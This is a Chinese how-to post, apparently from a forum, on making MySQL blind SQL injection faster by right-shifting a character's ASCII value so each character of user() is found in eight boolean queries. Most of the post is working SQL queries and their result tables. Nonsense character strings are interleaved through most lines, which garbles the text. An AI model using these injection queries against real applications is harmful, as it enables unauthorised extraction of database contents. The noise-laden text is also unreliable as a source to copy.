关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:
5 _3 {" O3 W; O, L8 l: j

# Z3 m+ ~' m- K8 e3 F7 x! _
) u- a/ }4 Z% F9 j% S! `ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

. h" T* y. w# k

3 {! Y6 m0 ]7 ]; V; {. j首先执行如下sql语句:
4 w9 W( {8 |6 C+ ~  g6 `" s9 x* a


mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
6 D; o7 v% r  I* {

5 n) Y' Q3 j! p
7 @, a% m; k9 }8 Q+ C- C" K我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
3 G7 I! M+ c, _, c


5 D0 z, X5 |* z5 d第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
. x2 v  q) N, ]) \

& j8 N5 d. U1 C
如果运算结果为1,说明第一位为0,不为1
- {+ t* v7 G5 D* k* `$ R/ Z# m
4 T4 l- M8 z/ e$ [* }

+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
2 A/ U' v9 C( \% F% @
| 1 |
( f. L4 r% O; x2 q
! {# j6 Q8 j. ~1 X6 C) ]. U- W+————————————–+
& T) J6 T" z6 Q$ d- ~
* t/ ~+ s1 X: v  ?2 z1 row in set (0.00 sec)
; D! O' b0 E" ?  [) Y" [
这样我们就确定这个8bit的ascii的第一位为0
& U: K- q* n" H7 ^
; w$ E0 |. t" b7 Y
% k3 r9 M! }' r6 D
. T# E, J! g+ D第二次我们来做6次右偏移来确定前两位
( \- I% B' D4 F$ v
. v! O: ]" A: v5 I" v* a

4 z; O: @( a% F* H& P前两位可能是01或00,即依然可以与0做比较,
1 I; G( ?6 k( o; G$ M
# _7 [* j' _3 a7 y( N7 B2 Z5 Mmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

( {" ^; M0 H# W$ T0 Q2 F2 X3 b+————————————–+
1 y4 }! l5 E3 N* X, V0 `, {8 Y
| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+
, h/ J! x: r) p! S* Z! I2 D
| 0 |

) |3 @& x  h. O: f/ c- l+————————————–+

1 row in set (0.00 sec)


; |7 s3 }! {7 Y* F; \
* l* K6 \9 O1 }, L+ p  ~8 k结果为0,即第二位为1


3 M, a% r9 H! \1 ^: i) O+ h
8 h* r2 q6 W' O# U# r- f开始猜测前三位为010或011

  }( x: H! ^. W$ I

5 }# @' e& x7 B' N. |) H: D让我们看看010和011的ascii码是多少
, V7 F" ?+ V0 K- {" o3 k
) m3 @& N0 r& \5 p# Z8 I9 X/ C! f
  E- v' }" j( M) k7 M  Y
3 O! b5 A/ A% N( N: K1 V& d分别查询select b’011′ select b’010′

; q6 K) A1 R7 f
* q# _: Q$ K: z! Y4 h! w' ^
- M- ~# A2 N% j* O+ E获得结果 010 = 2 011 = 3

3 R2 y0 z2 @+ T

( O& }% f2 N  N执行如下sql:


- V6 Q% s$ O8 z$ a; r' o
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

! ?3 f& B6 L. B/ `4 }| (ascii((substr(user(),1,1))) >> 5)=2 |

. s% `4 A: n* T* R) Q! I+————————————–+
9 m( e# N% P7 ]6 y% R
| 0 |
, c+ `. m) |$ o
/ \/ r/ g- }9 W, k& L3 ]' X+————————————–+

: q6 E/ ~% j2 P7 F4 `, P" ]即前三位不为010,而是011



直到获得最后一位
6 P4 n* d! m% }  n6 X; H. H6 M

4 s7 @! r: y$ ]% L
2 L3 m" M6 G5 B2 n( m最终结果为:01110010

, M/ A0 S: B  t! ^3 z
  [6 m7 }. b8 U& y$ @! c
转换一下:
2 k/ H, d  U4 z# X4 \/ Q) W

* w" E3 O% ~, }! N5 M5 o
select b’01110010′

( D( N3 X7 a9 _+ U" W

) {: p1 d  W5 S1 i3 N查询结果



: r/ f" }7 e3 [5 s/ b2 T% t+————-+

| b’01110010′ |

+————-+
9 h, n+ x3 @. W' a4 ^" J
| r |

+————-+
0 Q5 E# r1 `. S* k
  j# w  C6 w( o" p. v8 y1 row in set (0.00 sec)



2 J6 t# P5 b5 d2 x6 ~3 t这样我们就获得了user()的第一位.其它位依此类推